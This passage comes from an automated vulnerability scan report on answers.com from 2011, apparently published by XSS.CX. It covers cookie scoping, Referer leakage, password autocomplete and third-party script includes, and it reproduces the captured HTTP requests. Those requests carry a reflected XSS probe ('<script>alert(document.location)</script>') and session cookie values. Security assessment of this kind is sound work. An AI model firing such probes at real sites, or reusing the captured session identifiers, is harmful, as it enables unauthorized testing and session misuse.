Set-Cookie: 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; path=/; domain=.answers.com
Vary: Accept-Encoding
Content-Length: 76180

           <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.fac
...[SNIP]...
</div>
       <form name="loginform" action="javascript:dologin();" method="post" accept-charset="utf-8">
               <input type=hidden name="isBasic" value="1">
...[SNIP]...
</label>
           <input type="password" tabindex=2 name="wpPassword" value="" id="password" /><br/>
...[SNIP]...

4.2. http://www.answers.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.answers.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.answers.com/javascript:doregister();

The form contains the following password fields with autocomplete enabled:

wpPassword
wpRetype

Request

Response

5. Cookie scoped to parent domain previous next
There are 3 instances of this issue:

/
/main/dsdata
/topic/cross-site-scripting-1

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

5.1. http://www.answers.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.answers.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

wab_test=wab%3Dt7702; expires=Sat, 18-Aug-2012 17:43:22 GMT; path=/; domain=.answers.com
474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; path=/; domain=.answers.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

5.2. http://www.answers.com/main/dsdata previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.answers.com
Path:	/main/dsdata

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:54:06 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /main/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=Cross-site+scripting&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=4.167837793428599E8&method=4&ab=t270&tname=cross-site-scripting-1&qry_lnk=true&js=2 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/topic/cross-site-scripting-1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; CP=null*; activeRadio=all; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.1.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); activeTab=ask; __qca=P0-867033900-1313775823394; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3E; JSESSIONID=FE32CAB6EC0B430997B8FF6D24A0ED45; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; ab_test=ab=t270; afid=0; GNFirstVisit=1313776443753; tacodaSession=; nafid=0; referrerDomainSession=www.answers.com; firstPageTypeSession=topic-page; WSS_GW=V1z%X%X@@Qiri; CTG=1313776444

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:54:06 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:54:06 GMT; Path=/
Set-Cookie: afid=0; Expires=Sun, 11-Aug-2041 17:54:06 GMT; Path=/
Set-Cookie: tacodaSession=; Path=/
Set-Cookie: nafid=0; Path=/
Set-Cookie: referrerDomainSession=www.answers.com; Path=/
Content-Length: 4962

<script xmlns:GoogleUtils="com.atomica.dataServer.utils.GoogleSearchUtils" xmlns:translationManager="com.atomica.common.utils.TranslationManager" type="text/javascript" language="JavaSc
...[SNIP]...

5.3. http://www.answers.com/topic/cross-site-scripting-1 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.answers.com
Path:	/topic/cross-site-scripting-1

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:54:04 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

6. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.answers.com
Path:	/main/dsdata

Issue detail

The page was loaded from a URL containing a query string:

http://www.answers.com/main/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=ccec5%26lt%3Bscript%26gt%3Balert%28document.location%29%26lt%3B%2Fscript%26gt%3B06721cb5f79%2Fdsdata&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&didYouMeanLength=4&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=5.508445169281085E8&method=4&ab=t270&tname=cross-site-scripting-1&js=2

The response contains the following link to another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /main/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=ccec5%26lt%3Bscript%26gt%3Balert%28document.location%29%26lt%3B%2Fscript%26gt%3B06721cb5f79%2Fdsdata&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&didYouMeanLength=4&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=5.508445169281085E8&method=4&ab=t270&tname=cross-site-scripting-1&js=2 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/ccec5%3Cscript%3Ealert(document.location)%3C/script%3E06721cb5f79/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=Cross-site+scripting&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=4.167837793428599E8&method=4&ab=t270&tname=cross-site-scripting-1&qry_lnk=true&js=2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; activeTab=ask; __qca=P0-867033900-1313775823394; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3E; JSESSIONID=FE32CAB6EC0B430997B8FF6D24A0ED45; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; GNFirstVisit=1313776443753; CTG=1313776444; CP=null*; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.2.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); activeRadio=all; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; AxData=; Axxd=1; ab_test=ab=t270; afid=0; tacodaSession=; nafid=0; referrerDomainSession=www.answers.com; firstPageTypeSession=topic-page

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:58:25 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:58:25 GMT; Path=/
Set-Cookie: afid=0; Expires=Sun, 11-Aug-2041 17:58:25 GMT; Path=/
Set-Cookie: tacodaSession=; Path=/
Set-Cookie: nafid=0; Path=/
Set-Cookie: referrerDomainSession=www.answers.com; Path=/
Content-Length: 2526

<script xmlns:GoogleUtils="com.atomica.dataServer.utils.GoogleSearchUtils" xmlns:translationManager="com.atomica.common.utils.TranslationManager" type="text/javascript" language="JavaSc
...[SNIP]...
</script><script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" language="JavaScript"></script>
...[SNIP]...

7. Cross-domain script include previous
There are 3 instances of this issue:

/
/main/dsdata
/topic/cross-site-scripting-1

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

7.1. http://www.answers.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.answers.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://en.site2.answcdn.com/skins/screen/DEFAULT/scripts/adsniptrack.js?v=006
http://en.site2.answcdn.com/templates/scripts/~XcdekjfgilsNOxlxtydSnHoGLWxj.js?v=006
http://snipjs.answcdn.com/static/adsnip.js

Request

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:43:22 GMT
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
X-Varnish: 525797694
Age: 0
Via: 1.1 varnish
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Set-Cookie: wab_test=wab%3Dt7702; expires=Sat, 18-Aug-2012 17:43:22 GMT; path=/; domain=.answers.com
Set-Cookie: 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; path=/; domain=.answers.com
Vary: Accept-Encoding
Content-Length: 76180

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.fac
...[SNIP]...
<link rel="shortcut icon" href="/favicon.ico?v=006" />

<script src="http://en.site2.answcdn.com/templates/scripts/~XcdekjfgilsNOxlxtydSnHoGLWxj.js?v=006" type="text/javascript" charset="utf-8"></script>
...[SNIP]...
</script>

<script src="http://snipjs.answcdn.com/static/adsnip.js" type="text/javascript" charset="utf-8"></script>
<script src="http://en.site2.answcdn.com/skins/screen/DEFAULT/scripts/adsniptrack.js?v=006" type="text/javascript" charset="utf-8"></script>
...[SNIP]...

7.2. http://www.answers.com/main/dsdata previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.answers.com
Path:	/main/dsdata

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /main/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=ccec5%26lt%3Bscript%26gt%3Balert%28document.location%29%26lt%3B%2Fscript%26gt%3B06721cb5f79%2Fdsdata&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&didYouMeanLength=4&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=5.508445169281085E8&method=4&ab=t270&tname=cross-site-scripting-1&js=2 HTTP/1.1
Host: www.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/ccec5%3Cscript%3Ealert(document.location)%3C/script%3E06721cb5f79/dsdata?ntabs=3&dsid=2474&templateid=1&cid=9964576&s=Cross-site+scripting&fw=null&fc=null&gwp=8&topictitle=Cross-site+scripting&dsnames=Ads%20CPM%20Box%20-%20First/Computer%20Encyclopedia/Wikipedia/Ads%20Noscript/Ads/WikiAnswers%20Unanswered/Ads%20CPM%20Box%20-%20Third/Ads%20CPM%20Box%20-%20Fourth/FiveMinPersistent/Ads%20-%20LinkUnits/IntelliTXT/WikiAnswers%20Answered/Guides%20Picker&topicTaxonomy=technology&topicZone=&leftover=&rnd=4.167837793428599E8&method=4&ab=t270&tname=cross-site-scripting-1&qry_lnk=true&js=2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=474j52jtpsnh9d83vs8potif61; 474j52jtpsnh9d83vs8potif61=n%3A0%3A%7B%7D; statref=none; staturl=http%3A//www.answers.com/; statlpans=0; activeTab=ask; __qca=P0-867033900-1313775823394; wab_test=wab%3Dt7702; dymcook=cross-site-scripting-1%7C%3Cp+class%3D%27didYouMean%27%3E%3Cspan+class%3D%27dymIntro%27%3E%3Cb%3EDid+you+mean%3A%3C%2Fb%3E%3C%2Fspan%3E%3Cspan+id%3D%27dym_cross-site-scripting-1%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fcross-site-scripting-1%27%3ECross-site+scripting%3C%2Fa%3E+%28technology%29%3C%2Fspan%3E+%3Cspan+id%3D%27dym_xss-abbreviation%27%3E+%3Ca+class%3D%27ilnk%27+href%3D%27%2Ftopic%2Fxss-abbreviation%27%3EXSS%3C%2Fa%3E+%28abbreviation%29%3C%2Fspan%3E+%3Ca+class%3D%27callout%27+href%3D%27%2Fmain%2Fntq-s-xss-dym_only-true%27%3EMore...%3C%2Fa%3E; JSESSIONID=FE32CAB6EC0B430997B8FF6D24A0ED45; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; GNFirstVisit=1313776443753; CTG=1313776444; CP=null*; __utma=31541870.290177515.1313775821.1313775821.1313775821.1; __utmb=31541870.2.10.1313775821; __utmc=31541870; __utmz=31541870.1313775821.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); activeRadio=all; snip_sess=474j52jtpsnh9d83vs8potif61; snip_uuid=f1f28578-fb16-4292-a0d5-88da600b2de9; AxData=; Axxd=1; ab_test=ab=t270; afid=0; tacodaSession=; nafid=0; referrerDomainSession=www.answers.com; firstPageTypeSession=topic-page

Response

7.3. http://www.answers.com/topic/cross-site-scripting-1 previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.answers.com
Path:	/topic/cross-site-scripting-1

Issue detail

The response dynamically includes the following scripts from other domains:

http://en.site2.answcdn.com/skins/screen/DEFAULT/scripts/adsniptrack.js?v=006
http://en.site2.answcdn.com/templates/scripts/~XOSxt.js?v=006
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://site.answcdn.com/main85755/js-utils/answ_utils1337975.js
http://snipjs.answcdn.com/static/adsnip.js

Request

Response

HTTP/1.1 200 OK
Date: Fri, 19 Aug 2011 17:54:04 GMT
Server: AWS
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Set-Cookie: ab_test=ab=t270; Domain=.answers.com; Expires=Sat, 18-Aug-2012 17:54:04 GMT; Path=/
Set-Cookie: afid=0; Expires=Sun, 11-Aug-2041 17:54:04 GMT; Path=/
Set-Cookie: tacodaSession=; Path=/
Set-Cookie: nafid=0; Path=/
Set-Cookie: referrerDomainSession=www.answers.com; Path=/
Set-Cookie: firstPageTypeSession=topic-page; Path=/
Set-Cookie: govLookup=; Domain=.answers.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Content-Length: 144727

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html class="Safari" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebo
...[SNIP]...
</script>
<script charset="utf-8" type="text/javascript" src="http://en.site2.answcdn.com/templates/scripts/~XOSxt.js?v=006"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://site.answcdn.com/main85755/js-utils/answ_utils1337975.js"></script>
...[SNIP]...
</script>
<script charset="utf-8" type="text/javascript" src="http://snipjs.answcdn.com/static/adsnip.js"></script>
<script charset="utf-8" type="text/javascript" src="http://en.site2.answcdn.com/skins/screen/DEFAULT/scripts/adsniptrack.js?v=006"></script>
...[SNIP]...
</script>

<script language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

Report generated by XSS.CX at Fri Aug 19 12:00:30 GMT-06:00 2011.